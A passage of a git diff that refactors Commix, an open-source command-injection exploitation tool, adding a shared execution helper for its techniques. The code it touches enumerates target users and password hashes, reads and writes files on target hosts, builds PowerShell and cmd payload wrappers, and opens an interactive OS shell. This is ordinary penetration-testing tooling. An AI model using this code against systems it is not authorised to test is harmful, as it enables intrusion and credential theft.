settings.TIME_RELATED_ATTACK: - _ = True - try: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - except TypeError: - sys_users = "" - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + sys_users, fresh = execute_cmd(cmd) + checks.print_users(sys_users, filename, settings.TIME_RELATED_ATTACK and fresh, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter) """ System passwords enumeration """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - _ = False + injector = execution.select_injector(technique) cmd = settings.SYS_PASSES - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - if sys_passes == False: - sys_passes = "" - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, interpreter) + drop_false = lambda sys_passes: "" if sys_passes == False else sys_passes + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=drop_false) + sys_passes, fresh = execute_cmd(cmd) + checks.print_passes(sys_passes, filename, settings.TIME_RELATED_ATTACK and fresh, interpreter) """ Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if not checks.usable_stored_cmd(_stored_shell) or menu.options.ignore_session: - # Command execution results. - if settings.TIME_RELATED_ATTACK: - _ = True - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: + injector = execution.select_injector(technique) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + def wrapped(cmd): + shell, fresh = execute_cmd(cmd) + if fresh and settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - shell = _stored_shell - checks.print_single_os_cmd(cmd, shell, filename) + return shell + checks.run_single_os_cmd(wrapped, filename) """ Check the defined options @@ -493,7 +179,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True - if menu.options.users: + if menu.options.users or menu.options.privileges: checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True @@ -511,27 +197,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h Check stored session """ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + # Target-wide - run once, on the first successful technique. + if not settings.ENUMERATION_DONE and menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # eof \ No newline at end of file diff --git a/src/core/injections/controller/execution.py b/src/core/injections/controller/execution.py new file mode 100644 index 0000000000..da1e51fca5 --- /dev/null +++ b/src/core/injections/controller/execution.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import menu +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.injections.controller import checks + +""" +Select the injector module for the given technique. +""" +def select_injector(technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + return injector + +""" +Select the payloads module for the given time-related technique. +""" +def select_payloads_module(technique): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + return payloads + +""" +Build the Windows-specific command variant for time-related techniques, returning (cmd, previous_cmd). +""" +def windows_transform_cmd(cmd, technique, interpreter): + previous_cmd = cmd + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + return cmd, previous_cmd + +""" +Build a cache-less execute_cmd(cmd) -> output callback around the injector model, for callers (e.g. file writes) where re-running the command every time is required, not an optimization to skip. +""" +def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False): + def execute_cmd(cmd): + if settings.TIME_RELATED_ATTACK: + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + except TypeError: + if not catch_time_error: + raise + shell = "" + return postprocess_time(shell) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + return "".join(str(p) for p in shell) + return execute_cmd + +""" +Build an execute_cmd(cmd) -> (output, fresh) callback around the injector model, with session caching - the shared logic behind every enumeration.py check. +""" +def make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=lambda shell: shell, postprocess_time=lambda shell: shell, catch_time_error=False): + fire = make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time, catch_time_error) + def execute_cmd(cmd): + stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + fresh = not checks.usable_stored_cmd(stored) or menu.options.ignore_session + if fresh: + shell = fire(cmd) + if not settings.TIME_RELATED_ATTACK: + shell = postprocess(shell) + if shell: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = stored + return shell, fresh + return execute_cmd diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index d31d0cefd8..d34c5569b6 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -13,83 +13,52 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys from src.utils import menu -from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks -from src.core.requests import requests +from src.core.injections.controller import execution from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - _ = False + fresh_time = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == settings.OS.WINDOWS: if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + injector = execution.select_injector(technique) else: - from src.core.injections.results_based.techniques.classic import cb_injector as injector + injector = execution.select_injector(settings.INJECTION_TECHNIQUE.CLASSIC) if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] - _ = True + fresh_time = True + fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + fire(cmd) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + fire(cmd) cmd = checks.delete_tmp(tmp_fname) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = fire(cmd) else: - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + injector = execution.select_injector(technique) + fire = execution.make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) cmd = checks.write_content(content, dest_to_write) if settings.TIME_RELATED_ATTACK: cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT + shell = fire(cmd) cmd = checks.check_file(dest_to_write) if settings.TIME_RELATED_ATTACK: - if settings.VERBOSITY_LEVEL == 0 and not _: + if settings.VERBOSITY_LEVEL == 0 and not fresh_time: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + shell = fire(cmd) else: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) + shell = fire(cmd) if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -99,43 +68,17 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Read a file from the target host. """ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - _ = False + injector = execution.select_injector(technique) cmd, file_to_read = checks.file_content_to_read() - if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - if settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ - not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): - shell = "" - elif settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + needs_fresh = not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session + if needs_fresh and settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ + not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): + shell, fresh = "", False else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = "".join(str(p) for p in shell) + shell, fresh = execute_cmd(cmd) if settings.TIME_RELATED_ATTACK: - if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + if settings.VERBOSITY_LEVEL == 0 and fresh and len(shell) != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) @@ -155,24 +98,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h Check stored session """ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + # Target-wide - run once, on the first successful technique. + if not settings.FILE_ACCESS_DONE and menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 1f36c3bcbc..d6ddf4cc42 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -15,7 +15,6 @@ import os import re -import sys import time import string import random @@ -25,20 +24,66 @@ from src.utils import common from src.core.compat import xrange from src.utils import session_handler -from src.core.requests import headers from src.core.requests import requests -from src.core.requests import parameters from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import html_parser as _html_parser from src.core.injections.controller import file_access from src.core.injections.controller import enumeration -from src.core.injections.controller import controller from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler +""" +Move a value already confirmed working (by another technique) to the front of a candidate list. +""" +def _prioritize(candidates, confirmed_value): + if confirmed_value in candidates: + return [confirmed_value] + [c for c in candidates if c != confirmed_value] + return candidates + +""" +Put a boundary combo another technique already confirmed for this parameter first. +""" +def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): + _boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + if _boundary: + _b_prefix, _b_suffix, _b_separator, _b_whitespace = _boundary + prefixes = _prioritize(prefixes, _b_prefix) + suffixes = _prioritize(suffixes, _b_suffix) + separators = _prioritize(separators, _b_separator) + whitespaces = _prioritize(whitespaces, _b_whitespace) + return prefixes, suffixes, separators, whitespaces + +""" +Announce the technique about to be tested, re-checking tamper compatibility now that it and the target OS are known. +""" +def _announce_technique(injection_type, technique): + settings.CURRENT_TECHNIQUE = technique + checks.tamper_scripts(stored_tamper_scripts=True) + checks.testing_technique_title(injection_type, technique) + +""" +Register a post-detection action, run once at quit(). +""" +def _register_post_detection_action(action, time_related_attack=None): + if time_related_attack is None: + time_related_attack = settings.TIME_RELATED_ATTACK + def run(): + settings.TIME_RELATED_ATTACK = time_related_attack + action() + settings.PENDING_POST_DETECTION_ACTIONS.append(run) + +""" +Register the single deferred --os-shell entry, run at quit(). +""" +def _register_os_shell_entry(action, time_related_attack=None): + if time_related_attack is None: + time_related_attack = settings.TIME_RELATED_ATTACK + def run(): + settings.TIME_RELATED_ATTACK = time_related_attack + action() + settings.PENDING_OS_SHELL_ENTRY = run + """ Exit handler """ @@ -58,6 +103,13 @@ def exit_handler(no_result): """ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if session_handler.check_file_deleted(url, technique, vuln_parameter, http_request_method): + info_msg = "The file ('" + OUTPUT_TEXTFILE + "') used for command execution was already deleted from the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [y/N] " + if common.read_input(msg, default="N", check_batch=True) not in settings.CHOICE_YES: + return if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -73,74 +125,58 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque else: cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + session_handler.mark_file_deleted(url, technique, vuln_parameter, http_request_method) -def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): +""" +The shared interactive shell loop, dispatching command execution through the given execute_cmd(cmd) callback. +""" +def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup=lambda: None, on_found_declined=lambda: None, force_enter=False, separator=""): try: checks.alert() go_back = False go_back_again = False - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) while True: if go_back == True: break - # --os-shell is a direct action flag, not a prompt default - no question asked either way. - vuln_message = checks.vulnerable_message(url) - gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] + # --os-shell opens later, at quit(). + if force_enter: + gotshell = settings.CHOICE_YES[0] + else: + gotshell = settings.CHOICE_NO[0] + if menu.options.os_shell and settings.PENDING_OS_SHELL_ENTRY is None: + _register_os_shell_entry(lambda: pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined, force_enter=True, separator=separator)) if gotshell in settings.CHOICE_YES: + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + info_msg = "Enabling the command shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + 